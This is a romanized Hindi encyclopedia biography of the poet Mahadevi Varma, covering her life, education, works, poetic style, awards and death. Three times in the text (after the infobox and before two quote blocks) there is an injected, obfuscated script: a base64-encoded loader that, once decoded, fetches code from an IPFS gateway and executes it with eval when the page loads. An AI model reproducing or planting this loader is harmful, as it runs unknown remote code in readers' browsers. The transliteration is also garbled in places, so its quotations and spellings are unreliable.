महादेवी वर्मा

mahadevi varma |200px|center poora nam mahadevi varma janm 26 march, 1907 janm bhoomi farrukhabad, uttar pradesh mrityu 11 sitambar, 1987 mrityu sthan prayag, uttar pradesh abhibhavak govind prasad varma, hemarani devi pati/patni d aau. svaroop naren varma karm bhoomi ilahabad karm-kshetr adhyapak, lekhika mukhy rachanaean dipashikha, mera parivar, smriti ki rekhaean, path ke sathi, shriankhala ki k diyaan, atit ke chalachitr, niraja, nihar vishay git, rekhachitr, sansmaran v nibandh bhasha hindi vidyalay krasthavet k aaulej, ilahabad vishvavidyalay shiksha em.e. (sanskrit) puraskar-upadhi sekasariya puraskar (1934), dvivedi padak (1942), bharat bharati puraskar (1943), mangala prasad puraskar (1943) padm bhooshan (1956), sahity akademi phelloship (1979), jnanapith puraskar (1982), padm vibhooshan (1988) nagarikata bharatiy vidha gady aur pady any janakari svadhinata prapti ke bad 1952 mean mahadevi varma uttar pradesh vidhan parishad ki sadasya manonit ki geean. inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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mahadevi varma (aangrezi: Mahadevi Verma, janm: 26 march, 1907, farrukhabad; mrityu: 11 sitambar, 1987, prayag) hindi bhasha ki prakhyat kavayitri haian. mahadevi varma ki ginati hindi kavita ke chhayavadi yug ke char pramukh stanbh sumitranandan pant, jayashankar prasad aur sooryakant tripathi nirala ke sath ki jati hai. adhunik hindi kavita mean mahadevi varma ek mahattvapoorn shakti ke roop mean ubharian. mahadevi varma ne kh di boli hindi ko komalata aur madhurata se sansikt kar sahaj manaviy sanvedanaoan ki abhivyakti ka dvar khola, virah ko dipashikha ka gaurav diya, vyashtimoolak manavatavadi kavy ke chiantan ko pratishthapit kiya. mahadevi varma ke gitoan ka nad-sauandary, paini uktiyoan ki vyanjana shaili anyatr durlabh hai.

jivan parichay

mahadevi varma apane parivar mean kee pidhiyoan ke bad utpan huee. unake parivar mean do sau saloan se koee l daki paida nahian huee thi, yadi hoti to use mar diya jata tha. durga pooja ke karan apaka janm hua. apake dada farasi aur urdoo tatha pitaji aangrezi janate the. mataji jabalapur se hindi sikh kar aee thi, mahadevi varma ne panchatantr aur sanskrit ka adhyayan kiya. mahadevi varma ji ko kavy pratiyogita mean 'chaandi ka katora' mila tha. jise inhoanne gaandhiji ko de diya tha. mahadevi varma kavi sammelan mean bhi jane lagi thi, vo satyagrah aandolan ke dauran kavi sammelan mean apani kavitayean sunati aur unako hamesha pratham puraskar mila karata tha. mahadevi varma marathi mishrit hindi bolati thi.

janm

mahadevi varma ka janm holi ke din 26 march, 1907 ko farrukhabad, uttar pradesh mean hua tha. mahadevi varma ke pita shri govind prasad varma ek vakil the aur mata shrimati hemarani devi thian. mahadevi varma ke mata-pita donoan hi shiksha ke anany premi the. mahadevi varma ko 'adhunik kal ki mirabaee' kaha jata hai. mahadevi ji chhayavad rahasyavad ke pramukh kaviyoan mean se ek haian. hindustani stri ki udarata, karuna, satvikata, adhunik bauddhikata, ganbhirata aur saralata mahadevi varma ke vyaktitv mean samavisht thi. unake vyaktitv aur krititv ki vilakshanata se abhibhoot rachanakaroan ne unhean 'sahity samrajni', 'hindi ke vishal mandir ki vinapani', 'sharada ki pratima' adi visheshanoan se abhihit karake unaki asadharanata ko lakshit kiya. mahadevi ji ne ek nishchit dayitv ke sath bhasha, sahity, samaj, shiksha aur sanskriti ko sanskarit kiya. kavita mean rahasyavad, chhayavad ki bhoomi grahan karane ke bavazood samayik samasyaoan ke nivaran mean mahadevi varma ne sakriy bhagidari nibhaee.

shiksha

mahadevi varma ki prarambhik shiksha indaur mean huee. mahadevi varma ne bi.e. jabalapur se kiya. mahadevi varma apane ghar mean sabase b di thi unake do bhaee aur ek bahan thi. 1919 mean ilahabad mean 'kr aausthavet k aaulej' se shiksha ka praranbh karate hue mahadevi varma ne 1932 mean ilahabad vishvavidyalay se sanskrit mean em.e. ki upadhi prapt ki. tab tak unake do kavy sankalan 'nihar' aur 'rashmi' prakashit hokar charcha mean a chuke the. mahadevi ji mean kavy pratibha sat varsh ki umr mean hi mukhar ho uthi thi. vidyarthi jivan mean hi unaki kavitaaian desh ki prasiddh patr-patrikaoan mean sthan pane lagian thian.

vivah

un dinoan ke prachalan ke anusar mahadevi varma ka vivah chhoti umr mean hi ho gaya tha parantu mahadevi ji ko saansarikata se koee lagav nahian tha apitu ve to bauddh dharm se bahut prabhavit thian aur svayan bhi ek bauddh bhikshuni banana chahatian thian. vivah ke bad bhi unhoanne apani shiksha jari rakhi. mahadevi varma ki shadi 1914 mean 'd aau. svaroop naren varma' ke sath iandaur mean 9 sal ki umr mean huee, vo apane maan pitaji ke sath rahati thian kyoanki unake pati lakhanoo mean padh rahe the.

virasat

shiksha aur sahity prem mahadevi ji ko ek tarah se virasat mean mila tha. mahadevi ji mean kavy rachana ke bij bachapan se hi vidyaman the. chh: sat varsh ki avastha mean bhagavan ki pooja karati huee maan par unaki tukabandi:

thande pani se nahalati
thanda chandan unhean lagati
unaka bhog hamean de jati
tab bhi kabhi n bole haian
maan ke thakur ji bhole haian.

ve hindi ke bhakt kaviyoan ki rachanaoan aur bhagavan buddh ke charitr se atyant prabhavit thi. unake gitoan mean pravahit karuna ke anant srot ko isi kon se samajha ja sakata hai. vedana aur karuna mahadevi varma ke gitoan ki mukhy pravritti hai. asim du:kh ke bhav mean se hi mahadevi varma ke gitoan ka uday aur ant donoan hota hai.

mahila vidyapith ki sthapana

mahadevi varma ne apane prayatnoan se ilahabad mean 'prayag mahila vidyapith' ki sthapana ki. isaki ve pradhanachary evan kulapati bhi rahian. mahadevi varma pathashala mean hindi-adhyapak se prabhavit hokar brajabhasha mean samasya poorti bhi karane lagian. phir tatkalin kh di boli ki kavita se prabhavit hokar kh di boli mean rola aur harigitika chhandoan mean kavy likhana prarambh kiya. usi samay maan se suni ek karun katha ko lekar sau chhandoan mean ek khandakavy bhi likh dala. 1932 mean unhoanne mahilaoan ki pramukh patrika 'chaand' ka karyabhar sanbhala. prayag mean adhyapan kary se ju dane ke bad hindi ke prati gahara anurag rakhane ke karan mahadevi varma dinoan-din sahityik kriyakalapoan se ju dati chali geean. unhoanne n keval 'chaand' ka sampadan kiya varanh hindi ke prachar-prasar ke lie prayag mean 'sahityakar sansad' ki sthapana ki. unhoanne 'sahityakar' masik ka sanpadan kiya aur 'rangavani' naty sanstha ki bhi sthapana ki.

kritiyaan

mahadevi ji kavayitri hone ke sath-sath ek vishisht gadyakar thian. 'yama' mean unake pratham char kavy-sangrahoan ki kavitaoan ka ek sath sankalan hua hai. 'adhunik kavi-mahadevi' mean unake samast kavy se unhian dvara chuni huee kavitaaian sankalit haian. kavi ke atirikt ve gady lekhika ke roop mean bhi paryapt khyati arjit kar chuki haian. 'smriti ki rekhaean' (1943 ee.) aur 'atit ke chalachitr' (1941 ee.) unaki sansmaranatmak gady rachanaoan ke sangrah haian. 'shriankhala ki k diyaan' (1942 ee.) mean samajik samasyaoan, visheshakar abhishapt nari jivan ke jalate prashnoan ke sambandh mean likhe unake vicharatmak nibandh sankalit haian. rachanatmak gady ke atirikt 'mahadevi ka vivechanatmak gady' mean tatha 'dipashikha', 'yama' aur 'adhunik kavi-mahadevi' ki bhoomikaoan mean unaki alochanatmak pratibha ka bhi poorn prasphutan hua hai. unaki kritiyaan is prakar haian -

kavy nihar (1930) rashmi (1932) niraja (1934) saandhyagit (1936) dipashikha (1942) yama saptaparna gady atit ke chalachitr smriti ki rekhaean path ke sathi mera parivar

vividh sankalan smarika smriti chitr sanbhashan sanchayan drishtibodh punarmudrit sankalan yama (1940) dipagit (1983) nilambara (1983) atmika (1983)

nibandh shriankhala ki k diyaan vivechanatmak gady sahityakar ki astha tatha any nibandh lalit nibandh kshanada

kavy sangrah

mahadevi varma ke 1934 mean 'niraja', 1936 mean 'saandhyagit' namak sangrah prakashit hue. 1939 mean in charoan kavy sangrahoan ko unaki kalakritiyoan ke sath vrihadakar mean 'yama' shirshak se prakashit kiya gaya. mahadevi varma ne gady, kavy, shiksha aur chitrakala sabhi kshetroan mean ne ayam sthapit kie. isake atirikt unake 18 kavy aur gady kritiyaan haian jinamean 'mera parivar', 'smriti ki rekhaean', 'path ke sathi', 'shriankhala ki k diyaan' aur 'atit ke chalachitr' pramukh haian.

kavy visheshataean

mahadevi ke kavy mean bhav samriddhi tatha shailpik saundary ka akarshak samanvay hai. apake kavy ki ubhayapakshiy visheshataean is prakar haian-

bhav paksh

mahadevi ji ke kavy mean atmanivedan ka svar pradhan hai. apane hriday ki vividh anubhootiyoan ko hi kavayitri ne kavy ka vishay banaya hai. ajnat priyatam ke prati virah vyatha ka nivedan, milan ka sankalp, rahasyamayi sanvedanaean aur prakriti ka komalakant drishyaankan apake gitoan ke pradhan vishay haian. adhyatmikata aur darshanikata ke jhine aanchal se avritt apake mridul udagar ek mohak bhav jagath ki srishti karate haian.

ras yojana

mahadevi ji ke kavy ka pradhan ras shrriangar hai. yadyapi shrriangar ke sanyog tatha viyog dono hi pakshoan ko kavayitri ne kavy ka vishay banaya hai, tathapi viyog ki abhivyakti hi adhik tallinata se huee hai. yah viyog laukik dharatal par sthit hote hue bhi apani bhavyata se alaukikata ke ambar ka sparsh karata chalata hai. vah kabir ki bhaanti viyogini atma ka priyatam paramatma ke prati prem nivedan banakar sahridayoan ke hridayoan ko bhav tarangoan mean jhulane lagata hai.

vedana

chitr:Blockquote-open.gif pathashala mean hindi-adhyapak se prabhavit hokar mahadevi varma brajabhasha mean samasya poorti bhi karane lagian. phir mahadevi varma ne tatkalin kh di boli ki kavita se prabhavit hokar kh di boli mean rola aur harigitika chhandoan mean kavy likhana prarambh kiya. usi samay maan se suni ek karun katha ko lekar mahadevi varma ne sau chhandoan mean ek khandakavy bhi likh dala. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahadevi ka samast kavy vedanamay hai. yah vedana laukik vedana se bhinn adhyatmik jagath ki hai, jo usi ke lie sahaj sanvedy ho sakati hai, jinase us anubhooti-kshetr mean pravesh kiya ho. vaise mahadevi is vedana ko us du:kh ki bhi sanjna deti haian, "jo sare sansar ko ek sootr mean baandhe rakhane ki kshamata rakhata hai" kintu vishv ko ek sootr mean baandhane vala du:kh samanyataya laukik du:kh hi hota hai, jo bharatiy sahity ki parampara mean karun ras ka sthayi bhav hota hai. mahadevi ne is du:kh ko nahian apanaya hai. kahati to haian ki "mujhe du:kh ke donoan hi roop priy haian, ek vah, jo manushy ke sanvedanashil hriday ko sare sansar se ek avichchhinn bandhanoan mean baandh deta hai aur doosara vah jo kal aur sima ke bandhan mean p de hue asim chetan ka krandan hai" kintu unake kavy mean pahale prakar ka nahian, doosare prakar ka 'krandan' hi abhivyakt hua hai. yah vedana samany lok hriday ki vastu nahian hai. sambhavat: isilie ramachandr shukl ne usaki sachchaee mean hi sandeh vyakt karate hue likha hai, "is vedana ko lekar unhoanne hriday ki aisi anubhootiyaan samane rakhian, jo lokottar haian. kahaan tak ve vastavik anubhootiyaan haian aur kahaan tak anubhootiyoan ki ramaniy kalpana, yah nahian kaha ja sakata"

vishayavastu aur drishtikon

vedana ki is ekant sadhana ke phalasvaroop mahadevi ki kavita mean vishayoan ka vaividhy bahut kam hai. unaki kuchh hi kavitaean aisi haian, jinamean rashtriy aur saanskritik udbodhan athava prakriti ka svatantr chitran hua hai. shesh sabhi kavitaoan mean vishayavastu aur drishtikon ek hi hone ke karan unaki kavyabhoomi vistrit nahian ho saki hai. isase unake kavy ko hani aur labh donoan hua hai. hani yah huee hai ki vishay-parivartan n hone se unake samast kavy mean ekarasata aur bhavavritti bahut adhik hai. labh yah hua hai ki simit kshetr ke bhitar hi kavayitri ne anubhootiyoan ke anekanek ayamoan ko anek drishtikon se dekh-parakhakar unake sookshmatisookshm bhed-prabhedoan ko bimbaroop mean samane rakhate hue chitrit kiya hai. is tarah unake kavy mean vistaragat vishalata aur darshanagat gurutv bhale hi n mile, par unaki bhavanaoan ki gambhirata, anubhootiyoan ki sookshmata, bimboan ki spashtata aur kalpana ki kamaniyata ke phalasvaroop gambhiry aur mahatta avashy hai. is tarah unake kavy vistar ka nahian gaharaee ka kavy hai.

prakriti nirupan

prakriti ke saundary ke prati kavayitri ki sanvedanashilata mean koee kami nahian hai, kintu prakriti ko alamban ke roop mean kam hi kavita ka vishay banaya gaya hai. yah svalp shabd chitr bhi b de maulik aur manohari haian. prakriti ko uddipan vibhav ke roop mean mahadevi ne b de kalatmak aur marmasparshi roop mean prastut kiya hai. ve bhavoan ko prakharata tatha anubhootiyoan ko taral gambhirata pradan karake, kathy ko atyant hridayagrahi bana deti hai. mahadevi ji ka kavy chhayavadi kavyashaili ki sabhi visheshataoan se vibhooshit hai. vaiyaktikata, prakriti ka manavikaran, shrriangar ki sadhvi abhivyakti, saundary nirupan, lakshanik abhivyakti tatha manavatavadi drishti adi apaki rachanaoan mean maulik bhav-bhangima mean prastut hai. kabir aur jayasi ke pashchath kavyaparak rahasyavad ke darshan hindi mean mahadevi ji ke hi kavy mean hote haian. mahadevi ajnat priyatam ke prati pranay nivedan ke kshanoan mean adhyatmik chhoroan ka sparsh karane lagati haian. mahadevi ji ne lok chetana se bhi svayan ko poornataya vichchhinn nahian kiya hai. unake pas bhi sandesh haian, prerana marg-darshan hai. thumb|mahadevi varma

anubhootiyaan

mahadevi varma ka kavy anubhootiyoan ka kavy hai. usamean desh, samaj ya yug ka chitraankan nahian hai, balki usamean kavayitri ki niji anubhootiyoan ki abhivyakti huee hai. unaki anubhootiyaan prayah ajnat priy ke prati maun samarpan ke roop mean haian. unaka kavy unake jivan kal mean ane vale vividh p davoan ke saman hai. unamean prem ek pramukh tattv hai jis par alaukikata ka avaran p da hua hai. inamean prayah sahaj manaviy bhavanaoan aur akarshan ke sthool sanket nahian die ge haian, balki pratikoan ke dvara bhavanaoan ko vyakt kiya gaya hai. kahian-kahian sthool sanket die ge haian-

meri ahean soti hai in othoan ki otoan mean,
mera sarvasv chhipa hai in divani chotoan mean.

kavayitri ne sarvatr apani pranay-bhavana ka unnayan aur parishkar kiya hai. inake prem ka alanban virat evan vishal hai, jo alaukik hai-

bin bhi hooan maian tumhari ragini bhi hooan .
niand bhi meri achal nispand kan-kan mean,
pratham jagriti thi jagath ke pratham spandan mean,
pralay mean mera pata pad-chihn jivan mean.

inhoanne any chhayavadi kaviyoan ki tarah prakriti par sarvatr chetana ka arop kiya hai aur usake sath vividh madhur sanbandhoan ki kalpanaean ki haian-

rajani odhe jati thi !
jhilamil taroan ki jali,
usake bikhare vaibhav par,
jab roti thi ujiyali.

duahkh-pi da aur vishad mahadevi varma ke kavy ka mool svar hai aur inhean sukh ki apeksha duahkh adhik priy hai. parantu inamean vishad ka vah bhav nahian hai jo karm shakti ko kuanthit kar deta ho. inamean sanyam aur tyag hai tatha doosaroan ka hit karane ki prabal akaanksha hai-

maian nir bhari duahkh ki badali !
vistrit nabh ka koee kona,
mera kabhi n apana hona,
parichay itana itihas yahi,
um di thi kal mit aj chali.

mahadevi ka kavy varnanatmak aur itivrittatmak nahian hai. antarik sookshm anubhootiyoan ki abhivyakti unhoanne sahaj bhavochchhavas ke roop mean ki hai. is karan usaki abhivyanjana- paddhati mean lakshanikata aur vyanjakata ka bahuly hai. roopakatmak bimboan aur pratikoan ke sahare unhoanne jo mohak chitr upasthit kiye haian, ve unaki sookshm drishti aur rangamayi kalpana ki shaktimatta ka parichay dete haian. ye chitr unhoanne apane pariparshv, visheshakar prakritik parivesh se lie haian par prakriti ko unhoanne alamban roop mean bahut kam grahan kiya. prakriti mahadevi varma ke kavy mean sadaiv uddipan, alankar, pratik aur sanket ke roop mean hi chitrit huee hai. isi karan prakriti ke ati parichit aur sarvajanasulabh drishyoan ya vastuoan ko hi unhoanne apane kavy ka upadan banaya hai. usake asadharan aur alpaparichit drishyoan ki or unaka dhyan nahian gaya hai. phir bhi simit prakritik upadanoan ke dvara unhoanne jo poorn ya aanshik bimb chitrit kie haian, unase unaki chitravidhayini kalpana ka poora parichay mil jata hai. isi kalpana ke darshan mahadevi varma ke un chitroan mean bhi hote haian, jo unhoanne shabdoan se nahian, rangoan aur toolika ke madhyam se nirmit kie haian. unake ye chitr 'dipashikha' aur 'yama' mean kavitaoan mean prakashit hue haian.

bhasha-shaili

mahadevi apani kavy bhasha ki nirmatri svayan hi haian, yah kahana atishyokti nahian hoga. abhivyakti ki jo samarthy, bhav vyanjana ka jo marmik saushthav, apaki bhasha vahan karati hai, vah anyatr pantaji mean hi prapt hota hai. apaki bhashagat kuchh visheshataean is prakar haian-

• apaki bhasha ka ek vishisht star hai, jo svabhavatah sanskrit shabdavali ki or jhuka hua hai. tatsam shabd pradhan hote hue bhi is bhasha roop mean klishtata ya rookshata nahian haian. usamean pravah hai, lay hai.
• sanskrit tatsam shabdavali ke prati mahadevi ki koee pratibaddhata nahian hai. apane apekshakrit saral shabdavali ka bhi sahaj bhav se prayog kiya hai; yatha-

vistrit nabh ka koee kona, mera n kabhi apana hona,
parichay itana itihas yahi, um di kal thi mit aj chali.

• mahadevi ji ne bhasha ko adbhut mriduta aur madhurata pradan ki hai. bhav aur lay ka manohari sangam prastut karane mean apaki bhasha ka bhi mahattvapoorn yogadan hai.
• lakshanikata mahadevi ji ki shabd chitrakarita mean sahayak toolika kahi jay to anuchit nahian hoga. shabd se kahaan- kya arth dhvanit hona hai, ise unaki bhasha marmajnata bhali-bhaanti janati hai.
• mahadevi ji ki rachana-shaili ki pramukh visheshataean usaki bhavataralata, vaiyaktikata, pratikatmakata, chitratmakata, alankarita, chhayavadi tatha rahasyatmak abhivyakti adi haian.

alankaran

mahadevi ji ne paramparagat evan navin, sabhi alankaroan ka kalatmakata se upayog kiya hai. upamanoan ki maulikata evan manamohak vidhan apake alankaran ki visheshataean haian. roopak apaka priy alankar hai:-

le usha ne kiran akshat, has roli,
rat aankoan se parajay rakh dholi.

mahadevi ji ne chhayavadi git likhe haian aur gitoan ke chhand baddh mean vah poorn daksh haian. anek sthaloan par unaki giti lokagit ki lahariyoan mean tarangit pratit hoti hai. inake gitoan mean lay, sangitatmakata tatha nad saundary ke darshan hote haian. apani kavyagat vishishtitaoan ke lie mahadevi ji kavy-premiyoan ke lie sadaiv sammaniy aur smaraniy raheangi. unaka kavy vishv-sahity ki nidhi hai.

rekhachitrakar

chitr:Blockquote-open.gif ek bar maithilisharan gupt ne unaki karmathata ki prashansa karate hue poochha ki ap kabhi thakati nahian. unaka uttar tha ki holi ke din janmi hooan n, isilie holi ka rang aur usake ullas ki chamak mere chehare par bani rahati hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahadevi varma ek saphal rekhachitrakar, kavayitri, aur vicharak hai. unhoanne kee rekhachitr likhean haian jinamean nilakanth mor, ghisa, sona, gaura adi kafi prasiddh haian. manav ek shreshth prani hone par bhi pashuoan ke prati usaka vyavahar sarahaniy nahian haian. unake dvara rachit 'sona aur gaura' namak rekhachitr mean manav ke nishthur vyavahar par mahadevi varma ne prakash dala haian. pashu-pakshi bhi prem ke lie lalayit rahate haian aur prem dikhane par anandavibhor ho uthate haian. bejuban hone par bhi sneh ke kee mook prardashan hote haian. apane asim anand ki abhivyakti suandar aankhoan ke bhav se prakat karate haian. parantu manav apane svarth ke karan in bejuban janavaroan par itana atyachar aur nirday vyavahar karata hai aur un par kitana julm karata hai isaka koee aant nahian. manav dvara itani yatana sah kar bhi pashu manav ke svabhav se ab tak anajana hai. manav ka yah svarth aant mean vedana ka kary aur karan ban jata hai, isi bat par prakash dalana hi mahadevi varma ka mukhy dhyey hai.

dharmik vichar

mahadevi ne svayan likha hai, ”maan se pooja aur arati ke samay sune soor, tulasi tatha mira adi ke git mujhe git rachana ki prerana dete the. maan se suni ek karun katha ko maianne prayah sau chhandoan mean lipibaddh kiya tha. p dos ki ek vidhava vadhoo ke jivan se prabhavit hokar maianne vidhava, abala shirshakoan se shabd chitr likhe the jo us samay ki patrkiaoan mean prakashit bhi hue the. vyaktigat duahkh samashtigat ganbhir vedana ka roop grahan karane laga. karuna bahul hone ke karan bauddh sahity bhi mujhe priy raha hai.“ mahadevi varma ne apane aradhy ko, priyatam ko karunamay (brahm) ke roop mean sambodhit kiya hai. mahadevi pooja aur archana ke bahy upakaranoan ko svikar nahian karati haian. unaka laghutam jivan hi us asim ka sundar mandir hai.

kya pooja kya archana re
us asim ka sundar mandir
mera laghutar jivan re.

adhunik miraan

mahadevi varma ko adhunik yug ki miraan bhi kaha jata hai. bhakti kal mean jo sthan krishna bhakt miraan ko prapt hai, adhunik kal mean vah sthan mahadevi varma ko mila hai. miraan ka priyatam sagun, sakar giradhar gopal hai jisake prati ve samarpit rahi, to doosari or mahadevi ke priyatam asim nirgun nirakar (brahm) haian aur usake prati ve samarpit haian. mahadevi apane ap mean ek jivan gatha haian. mahadevi ka prasiddh git, ‘maian nir bhari duahkh ki badali’ is bat ka parichayak hai ki unaka yah jivan darshan hai jo miraanbaee jaisa hi hai.

vyaktitv mean ekakipan ki jhalak

mahadevi ki ghanishthatam mitr, sahapathini kavi subhadra kumari chauhan aur mahadevi ke antarang kshanoan ki bat ka ullekh karate hue prasiddh kathakar aur premachand ki jivani 'kalam ka sipahi' ke lekhak amrit ray ne likha haiah- "donoan striyaan apani batoan mean lin, apane paritript bal bachchoan mean magan batiyaye ja rahi thian ki ekaek laga ki jaise koee phoot phoot kar ro p da. vah rona jaise phoota tha vaise hi bhitar sama bhi gaya par kamare mean ekaek sannata chha gaya. jo vyakti ro p da usaka yah roop itana apratyashit tha ki sab jaise sakate mean a gaye. shubhravasana, prasannavadana mahadevi ji jinako logoan ne sada hansate hi dekha tha, vo kabhi is tarah phoot kar ro bhi p deangi, isaki kisi ko kalpana bhi nahian thi par anajane hi, apane sukh duahkh mean bhooli, apane parivar mean magan un grihaniyoan ne unaki kaun si dukhati rag chhoo di thi ki unaka vah hansamukh mukhauta barabas hat gaya. us kshan maianne jis nichat soone ekakipan ki ek jhalak payi, vah sachamuch dara dene vali thi par usi ke sath sath aisi stri ke lie mere man ka adar jaise aur sau guna badh gaya jisane is purushashasit roodhigrast samaj mean akele rah kar jivan ko bina kisi dainy ya kamazori ke is bahaduri ke sath jiya."

vishisht sthan

mahadevi varma chhayavad ke kaviyoan mean auroan se bhinn apana ek vishisht aur nirala sthan rakhati haian. is vishishtata ke do karan haian-

1. ek to unaka komal hridaya nari hona.
2. aangrezi aur baangla ke romani aur rahasyavadi kavy se prabhavit hona. in donoan karanoan se ek or to unhean apane adhyatmik priyatam ko purush manakar svabhavik roop mean apani stri-janochit pranayanubhootiyoan ko nivedit karane ki suvidha mili, doosari or prachin bharatiy sahity aur darshan tatha sant yug ke rahasyavadi kavy ke adhyayan aur apane poorvavarti tatha samakalin chhayavadi kaviyoan ke kavy se nikat ka parichay hone ke phalasvaroop unaki kavyabhivyanjana aur bauddhik chetana shat-pratishat bharatiy parampara ke anuroop bani rahi. is tarah unake kavy mean jahaan krishna bhakti kavy ki virah-bhavana gopiyoan ke madhyam se nahian, sidhe apani adhyatmik anubhooti ki abhivyakti ke roop mean prakashit huee hai, vahian soophi purush kaviyoan ki bhaanti unhean paramatma ko nari ke pratik mean pratishthit karane ki avashyakata nahian p di.

samman aur puraskar

san 1955 mean mahadevi ji ne ilahabad mean 'sahityakar sansad' ki sthapana ki aur pan. ila chandr joshi ke sahayog se 'sahityakar' ka sanpadan sanbhala. yah is sanstha ka mukhapatr tha. svadhinata prapti ke bad 1952 mean ve uttar pradesh vidhan parishad ki sadasya manonit ki geean. 1956 mean bharat sarakar ne unaki sahityik seva ke lie 'padm bhooshan' ki upadhi aur 1969 mean 'vikram vishvavidyalay' ne unhean di.lit. ki upadhi se alankrit kiya. isase poorv mahadevi varma ko 'niraja' ke lie 1934 mean 'sekasariya puraskar', 1942 mean 'smriti ki rekhaoan' ke lie 'dvivedi padak' prapt hue. 1943 mean unhean 'mangala prasad puraskar' evan uttar pradesh sarakar ke 'bharat bharati puraskar' se sammanit kiya gaya. 'yama' namak kavy sankalan ke lie unhean bharat ka sarvochch sahityik samman 'jnanapith puraskar' prapt hua.

puraskar soochi

• 1934 :sekasariya puraskar
• 1942 :dvivedi padak
• 1943 :mangala prasad puraskar
• 1943 :bharat bharati puraskar
• 1956 :padm bhooshan 
• 1979 :sahity akademi pheloship
• 1982 :jnanapith puraskar 
• 1988 :padm vibhooshan

googal doodal

thumb|250px|mahadevi varma par jari googal doodal sarch ianjan googal ne sahity jagat ki adhunik 'mira' mahadevi varma par bhi apana doodal banaya. aksar googal kisi mahan shakhs ke janmadivas ya punyatithi par doodal banakar unhean shraddhaanjali deta hai, lekin 27 aprॅl, 2018 ko googal ne mahadevi varma par kisi aur vajah se doodal banaya. ullekhaniy hai ki 27 aprॅl hi ke din sal 1982 mean mahadevi varma ko bharatiy sahity mean yogadan ke lie 'jnanapith puraskar' se sammanit kiya gaya tha. is googal doodal ko kalakar sonali zohara ne banaya tha. doodal mean mahan kavayitri ko hathoan mean dayari aur kalam lie apane vicharoan mean khoya hua dikhaya gaya hai.

mahadevi varma ko 'm aaudarn mira' bhi kaha jata hai. googal ke bl aaug ke mutabik, 'mata-pita donoan ne hi mahadevi ko unaki padhaee jari rakhane ke lie protsahit kiya, lekin unaka maan hi thian, jinhoanne apani beti ko sanskrit aur hiandi mean likhane ki prerana di.' sanskrit mean mastar digri ki padhaee ke dauran, unhoanne apana pahala chhand sanskrit mean likha, jise bad mean unaki dost aur roomamet rahian jani-mani kavayitri subhadra kumari chauhan ne khoja.

nidhan

mahadevi varma ka nidhan 11 sitambar, 1987, ko prayag mean hua tha. mahadevi varma ne nirih vyaktiyoan ki seva karane ka vrat le rakha tha. ve bahudha nikatavarti gramin aanchaloan mean jakar gramin bhaee-bahanoan ki seva sushrusha tatha dava niahshulk dene mean nirat rahati thi. vastav mean ve nij nam ke anuroop mamatamayi, mahiyasi mahadevi thi. bharatiy sanskriti tatha bharatiy jivan darshan ko atmasat kiya tha. unhoanne bharatiy sanskriti ke sambandh mean kabhi samajhauta nahian kiya. mahadevi varma ne ek nirbhik, svabhimanani bharatiy nari ka jivan jiya. rashtr bhasha hindi ke sambandh mean unaka kathan hai ‘‘hindi bhasha ke sath hamari asmita ju di huee hai. hamare desh ki sanskriti aur hamari rashtriy ekata ki hindi bhasha sanvahika hai.’’ 

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• mahadevi varma ki kavitayean
• mahadevi varma ka ashirvad bhara hath (hind-yugm)
• binda / mahadevi varma (gady kosh)
• panth hone do aparichit – mahadevi varma (vard pres bl aaug)
• teri sudhi bin kshan kshan soona - mahadevi varma (hindi kuanj)
• vedana ki kaviyitri mahadevi varma : vyaktitv parichay
• mere dipak (kavyalay)

30px|link=kavi soochi

kavi soochi dekhean

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sanbandhit lekh

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